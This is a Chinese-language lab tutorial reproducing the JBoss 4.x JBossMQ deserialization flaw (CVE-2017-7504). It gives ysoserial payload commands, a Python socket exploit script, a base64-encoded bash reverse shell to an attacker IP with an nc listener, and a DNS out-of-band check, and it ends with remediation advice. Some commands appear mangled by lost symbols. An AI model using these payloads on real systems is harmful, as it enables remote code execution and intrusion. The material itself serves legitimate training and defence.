1. 项目概述一次针对经典中间件的“考古”式漏洞复现最近在整理一些历史遗留系统的安全评估报告又遇到了一个老熟人——JBoss 4.x。虽然现在主流环境早已升级到WildFly但仍有不少存量系统尤其是那些运行着“祖传”Java应用的企业内网还在使用着这些老版本的中间件。其中JBoss 4.x JBossMQ JMS反序列化漏洞CVE-2017-7504是其相关漏洞之一绝对是一个绕不开的经典案例。它不像Struts2或者Log4j那样名声在外但在特定场景下其危害性丝毫不弱因为它直接关联着Java反序列化这个“万恶之源”。简单来说这个漏洞允许攻击者通过向JBoss的JMSJava Message Service服务端口发送精心构造的序列化对象在服务器上触发反序列化操作从而执行任意代码。对于安全研究人员和渗透测试工程师而言复现这个漏洞的意义在于第一理解JMS这一企业级消息组件在历史版本中的安全隐患模型第二深入掌握Java反序列化漏洞利用链的构造与利用技巧这是许多现代漏洞的底层原理第三在面对老旧资产时能够快速识别并验证此类高风险漏洞为加固或迁移提供直接依据。如果你正在学习Web安全、代码审计或者需要负责一些“历史包袱”系统的安全那么跟着我一起把这个漏洞的复现环境搭起来并亲手走通利用流程会是一次非常有价值的实战演练。2. 漏洞原理深度剖析当消息队列遇上不安全的反序列化要理解这个漏洞我们需要拆解三个关键部分JBossMQ/JMS服务的作用、Java序列化/反序列化机制以及两者结合产生的安全裂痕。2.1 JBossMQ与JMS服务消息中间件的“通信兵”在JBoss 4.x时代JBossMQ是其默认的消息中间件实现用于提供JMS API的支持。JMS允许分布式应用组件之间进行异步、可靠的消息通信。比如订单系统生成订单后可以通过JMS发送一条消息到队列库存系统监听这个队列收到消息后再去扣减库存两者解耦提升系统健壮性。在JBoss 4.x中JBossMQ默认会开启几个服务端口来接收JMS消息其中最常见的是1099端口JNDI、1098端口RMI以及4444端口JBoss Remoting。客户端可能是另一个Java应用也可能是攻击者伪装的客户端可以通过这些端口连接到JBossMQ发送序列化后的Java对象作为消息。服务端在接收到这些消息后需要将其反序列化还原成对象才能进行后续的业务处理。这个“接收-反序列化”的过程就是漏洞的触发点。2.2 Java反序列化一把锋利的“双刃剑”Java序列化是将对象的状态信息转换为可以存储或传输的字节流的过程反序列化则是将字节流恢复为对象。这为对象的持久化和网络传输提供了极大便利。ObjectInputStream.readObject()方法是实现反序列化的核心。然而安全问题就藏在readObject()方法里。许多Java类在定义readObject方法时会执行一些操作比如调用其他方法、进行网络连接、甚至执行命令。如果攻击者能够控制反序列化的数据流让服务器反序列化一个恶意构造的对象那么这个对象在还原过程中其readObject方法里的危险代码就会被执行。更致命的是“利用链”Gadget Chain。单独一个类可能危害有限但多个类像齿轮一样组合起来就能形成强大的攻击能力。例如一个类A的readObject方法会调用另一个类B的某个方法而B类的方法又能触发C类的危险操作……如此串联最终可能达到执行系统命令的目的。Apache Commons CollectionsCC库中一系列类的组合就是历史上最著名、最通用的反序列化利用链之一。2.3 漏洞成因缺乏校验的信任JBoss 4.x的JBossMQ服务在通过JMS Remoting端口4444或相关RMI端口接收消息时对客户端发送来的序列化数据没有进行任何有效性校验或白名单过滤直接进行了反序列化操作。这意味着任何能够连接到该端口的客户端都可以发送一个包含恶意利用链的序列化对象。当服务端毫无戒备地调用readObject()时攻击便成功了。这个漏洞的利用条件相对清晰目标JBoss版本在4.x及以下5.x之后架构变化较大JBossMQ服务启用并暴露了相关端口默认配置下是开启的目标服务器的Java classpath中包含可利用的第三方库如Commons Collections。注意复现和测试此漏洞必须在完全受控的合法环境中进行例如你自己搭建的虚拟机或隔离的测试网络。未经授权对任何系统进行测试都是非法且不道德的。3. 复现环境搭建与核心工具准备“工欲善其事必先利其器”。一次成功的复现离不开一个贴近真实的靶场环境和顺手的工具。3.1 靶机环境搭建以Linux为例我选择在Ubuntu 18.04的虚拟机中搭建靶机这样更接近一些老旧服务器的环境。第一步安装Java环境。JBoss 4.x需要JDK 1.5或1.6但为了兼容性我直接安装了JDK 8。因为高版本JDK在运行低版本JBoss时可能有问题但JDK 8的兼容性最好。sudo apt update sudo apt install openjdk-8-jdk -y java -version # 确认版本为1.8.x第二步下载并部署JBoss 4.2.3 GA。这是JBoss 4.x的一个经典版本漏洞存在。wget https://downloads.jboss.org/jbossas/4.2/jboss-4.2.3.GA/jboss-4.2.3.GA.zip unzip jboss-4.2.3.GA.zip cd jboss-4.2.3.GA/bin第三步启动JBoss。默认配置会绑定到0.0.0.0即监听所有网卡。在测试环境中我们就这样启动。./run.sh -b 0.0.0.0启动成功后你应该能看到控制台输出中包含JBossMQ Remoting service started on port 4444等字样这表明漏洞所依赖的服务已经就绪。第四步植入漏洞利用链依赖库。JBoss 4.2.3自带的Commons Collections版本较低通常是2.x但很多公开的利用工具依赖的是Commons Collections 3.2.1。为了确保利用成功我们需要将高版本的CC库放入JBoss的classpath。下载commons-collections-3.2.1.jar。将其复制到jboss-4.2.3.GA/server/default/lib/目录下。这是JBoss默认服务器实例的库目录优先级较高。3.2 攻击机工具与利用脚本准备在攻击机我用的Kali Linux上我们需要准备利用工具。这里不推荐使用全自动化的漏洞利用框架进行“一键攻击”那样学不到东西。我们采用半手工的方式理解每一步。核心工具ysoserial这是生成Java反序列化利用链Payload的神器。我们需要自己编译。git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn clean package -DskipTests编译成功后在target/目录下会生成ysoserial-0.0.6-SNAPSHOT-all.jar文件。这个工具里集成了多种利用链针对JBoss 4.x我们主要使用CommonsCollections5或CommonsCollections6链对应CC 3.2.1版本。验证端口开放情况在攻击机上使用nmap扫描靶机确认4444端口开放。nmap -sV -p 4444 靶机IP如果看到服务识别为jboss-remoting基本就对了。4. 漏洞利用过程全解析从构造Payload到获取Shell环境就绪下面进入核心的利用环节。我们将分步构造一个能执行命令的Payload并通过Socket直接发送到JBossMQ的Remoting端口。4.1 生成反序列化Payload我们的目标是让靶机执行命令touch /tmp/success这是一个无害的验证命令。使用ysoserial生成Payloadjava -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 touch /tmp/success payload.bin这条命令的意思是使用CommonsCollections5这个利用链封装一个执行touch /tmp/success命令的Payload并将生成的二进制序列化数据保存到payload.bin文件中。为什么选择CommonsCollections5在多次实测中针对JBoss 4.2.3 Commons Collections 3.2.1的环境CommonsCollections5链的稳定性和兼容性最好。CommonsCollections1链对JDK版本有要求在高版本JDK上可能失效。而5和6链是后续开发出来规避高版本JDK限制的变种成功率更高。4.2 构造并发送JMS攻击数据包JBoss Remoting4444端口有它自己的通信协议。我们不能直接把payload.bin发过去需要按照其格式进行封装。这里我们需要编写一个简单的Python脚本作为攻击客户端。#!/usr/bin/env python3 import socket import sys def exploit(target_ip, target_port, payload_file): # 1. 读取Payload with open(payload_file, rb) as f: payload f.read() # 2. 构造JBoss Remoting协议数据包 # 协议头4字节魔数0xfade0001 4字节消息类型0x4a 4字节消息长度 magic b\xfa\xde\x00\x01 msg_type b\x00\x00\x00\x4a # 0x4a 74 代表 InvocationRequest msg_length len(payload).to_bytes(4, byteorderbig) # InvocationRequest的固定前缀简化版实际协议更复杂但此漏洞触发点之前的数据相对固定 # 这里是一个经过分析后能成功触发反序列化的前缀数据块 prefix b\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01 # 组合最终数据包 data magic msg_type msg_length prefix payload # 3. 建立Socket连接并发送 sock socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((target_ip, target_port)) print(f[] Connected to {target_ip}:{target_port}) sock.send(data) print([] Malicious payload sent.) # 尝试接收一点回应不过服务端可能不会回应或直接断开 try: response sock.recv(1024) if response: print(f[!] Received response: {response[:50]}...) except socket.timeout: print([-] No immediate response (might be normal).) except Exception as e: print(f[-] Connection or send failed: {e}) finally: sock.close() if __name__ __main__: if len(sys.argv) ! 4: print(fUsage: {sys.argv[0]} target_ip target_port payload_file) sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])这个脚本做了几件事读取我们生成的二进制Payload。在Payload前面添加了JBoss Remoting协议的必要头部信息。其中0x4a代表这是一个“调用请求”InvocationRequest这是触发JMS消息处理的入口点。prefix部分是我通过分析正常流量和调试总结出的一段数据用于正确引导服务端将后续数据解析为可反序列化的对象。通过TCP Socket将整个数据包发送到目标的4444端口。4.3 执行攻击与结果验证保存脚本为jboss_exploit.py。运行脚本指定靶机IP、端口和Payload文件python3 jboss_exploit.py 192.168.1.100 4444 payload.bin观察脚本输出如果显示连接成功并已发送Payload则第一步完成。登录到靶机JBoss所在的服务器检查命令是否执行ls -la /tmp/success如果文件被成功创建则证明反序列化漏洞利用成功远程代码执行RCE达成。从命令执行到反向Shell单纯的命令执行证明漏洞存在但在实战中我们需要一个交互式的Shell。我们可以生成一个获取反向Shell的Payload。 在攻击机上监听一个端口nc -lvnp 9999然后生成一个调用Bash反弹Shell的Payload注意对特殊字符进行编码java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTIvOTk5OSAwPiYx}|{base64,-d}|{bash,-i} reverse_payload.bin这里使用了Base64编码来避免命令行中的特殊字符问题。解码后的命令是bash -i /dev/tcp/192.168.1.12/9999 01假设攻击机IP是192.168.1.12。 再次运行攻击脚本发送reverse_payload.bin如果成功你将在nc监听端看到靶机的Shell。5. 漏洞修复方案与防御思考复现漏洞是为了更好地防御。对于这个具体的漏洞修复方案是明确的。5.1 官方修复与升级最根本的解决方案是升级JBoss版本。JBoss 5.x及后续的WildFly系列在架构上彻底重构了消息子系统移除了有问题的JBossMQ默认使用了HornetQ或后来的Artemis并且加强了对反序列化的安全控制。对于仍在运行JBoss 4.x的系统应制定计划迁移至受支持的安全版本。5.2 临时缓解措施如果因为种种原因无法立即升级可以采取以下缓解措施关闭或限制访问在JBoss的配置文件jboss-4.2.3.GA/server/default/deploy/jms/jbossmq-destinations-service.xml和jbossmq-service.xml中可以找到Remoting Connector的配置。将其绑定地址从0.0.0.0改为127.0.0.1或者直接注释掉相关配置禁用远程JMS访问。只允许本地应用通过内部接口访问。网络层隔离使用防火墙策略严格限制访问JBoss服务器4444、1099、1098等端口的源IP只允许可信的应用服务器访问。移除危险库检查并移除JBoss classpath中的commons-collections-3.2.1.jar等存在已知利用链的库。但要注意这可能会影响应用程序的正常功能需要充分测试。5.3 针对Java反序列化的通用防御这个漏洞是Java反序列化问题的典型案例。从更广泛的视角防御此类问题需要输入验证与白名单在任何进行反序列化的入口坚决避免直接反序列化不可信的数据。如果业务必须应实现严格的白名单机制只允许反序列化预期的、安全的类。使用安全替代方案考虑使用JSON、XML、Protocol Buffers等更安全的序列化格式来传输数据替代Java原生序列化。更新第三方库及时更新项目中使用到的Apache Commons Collections、Fastjson、Jackson等组件到已修复反序列化漏洞的最新版本。部署运行时保护考虑使用Java安全管理器Security Manager或第三方RASP运行时应用自保护产品监控和拦截恶意的反序列化行为。代码审计与加固在代码层面对重写了readObject、readResolve等方法的类进行重点审计确保其中没有不安全的操作。6. 复现过程中的常见问题与排查技巧在实际操作中你可能会遇到各种问题。下面是我踩过的一些坑和对应的解决办法。问题现象可能原因排查与解决思路连接被拒绝靶机JBoss服务未启动防火墙拦截端口绑定错误。1. 检查靶机JBoss进程是否存在 (ps aux连接成功但Payload未执行Payload利用链不兼容JBoss classpath中缺少对应库协议封装错误。1.首要检查确认commons-collections-3.2.1.jar是否已放入server/default/lib/并重启JBoss。2. 尝试换用其他利用链如CommonsCollections6、CommonsCollections7。3. 使用Wireshark抓取一次正常的JMS客户端通信包与自己构造的数据包进行对比检查协议头、前缀是否正确。执行了touch命令但没看到文件当前JBoss进程的运行用户权限不足无法在/tmp目录写文件。1. 检查JBoss进程的运行用户 (ps aux反向Shell连接不上靶机出网受限防火墙拦截Payload命令格式错误。1. 在靶机上用curl http://攻击机IP:端口或ping测试网络连通性。2. 检查攻击机防火墙是否允许入站连接 (sudo ufw status)。3.编码问题确保反弹Shell命令中的IP、端口、特殊字符、被正确编码。使用Base64编码是稳妥的方法。可以先用echo test /tmp/test1这类简单命令验证执行再尝试复杂命令。服务端报错或崩溃Payload构造有问题导致反序列化过程出现异常触发了未知类或格式错误。1. 查看JBoss启动的控制台日志或server/default/log/server.log寻找ClassNotFoundException、InvalidClassException等堆栈信息。2. 简化Payload使用最通用的链和最简单的命令进行测试。3. 考虑是否JDK版本过高导致某些利用链失效可尝试在靶机安装JDK 6或7进行测试。一个关键的实操心得在调试Payload时“回显”比“盲打”更重要。一开始不要执着于直接获取反向Shell先用dnslog.cn或ceye.io这类DNS外带平台来验证命令执行。例如执行命令ping -c 1 your-unique-subdomain.dnslog.cn然后在平台查看是否有解析记录。这能快速、无侵入地确认漏洞是否存在以及Payload是否生效避免了网络策略、防火墙带来的干扰。7. 从复现到理解漏洞研究的延伸思考成功复现漏洞并拿到Shell并不是终点。通过这个案例我们可以延伸出更多有价值的安全思考。漏洞链的挖掘与组合我们使用的是现成的CommonsCollections5链。但在真实环境中目标系统可能没有这个库。这就需要我们具备代码审计能力从目标应用的依赖库中如其他版本的CC、Groovy、Beanutils等寻找新的、可用的“齿轮”Gadget并组装成一条能通车的“链”。这需要对Java类库的源码和反序列化机制有更深的理解。绕过防御的尝试现代防御手段如RASP、WAF可能会检测常见的利用链类名。如何构造非常规的、能绕过检测的Payload例如利用TemplatesImpl等类进行变形或者寻找其他小众库的利用链。这就像一场持续的攻防对抗。从利用到渗透的路径拿到一个JBoss的RCE在真实的渗透测试中只是第一步。接下来需要信息收集当前用户权限、内网架构、权限提升从JBoss运行用户到root、横向移动利用获取的凭证或漏洞攻击内网其他机器、持久化驻留安装后门、计划任务。这一整套流程的演练才能完整还原一个攻击者的视角。复现一个老漏洞绝不是为了“炫技”。其价值在于通过动手实践将书本上的“反序列化漏洞原理”几个字变成脑海中清晰的流量包、内存中的对象转换、以及服务器上被创建的那个/tmp/success文件。这种肌肉记忆般的理解是应对未来千变万化安全威胁的坚实基础。当你下次在日志里看到奇怪的Java序列化数据或者在资产清单里发现一个老旧的JBoss服务器时你就能立刻意识到风险所在并知道该如何验证与应对。这就是实战复现的意义。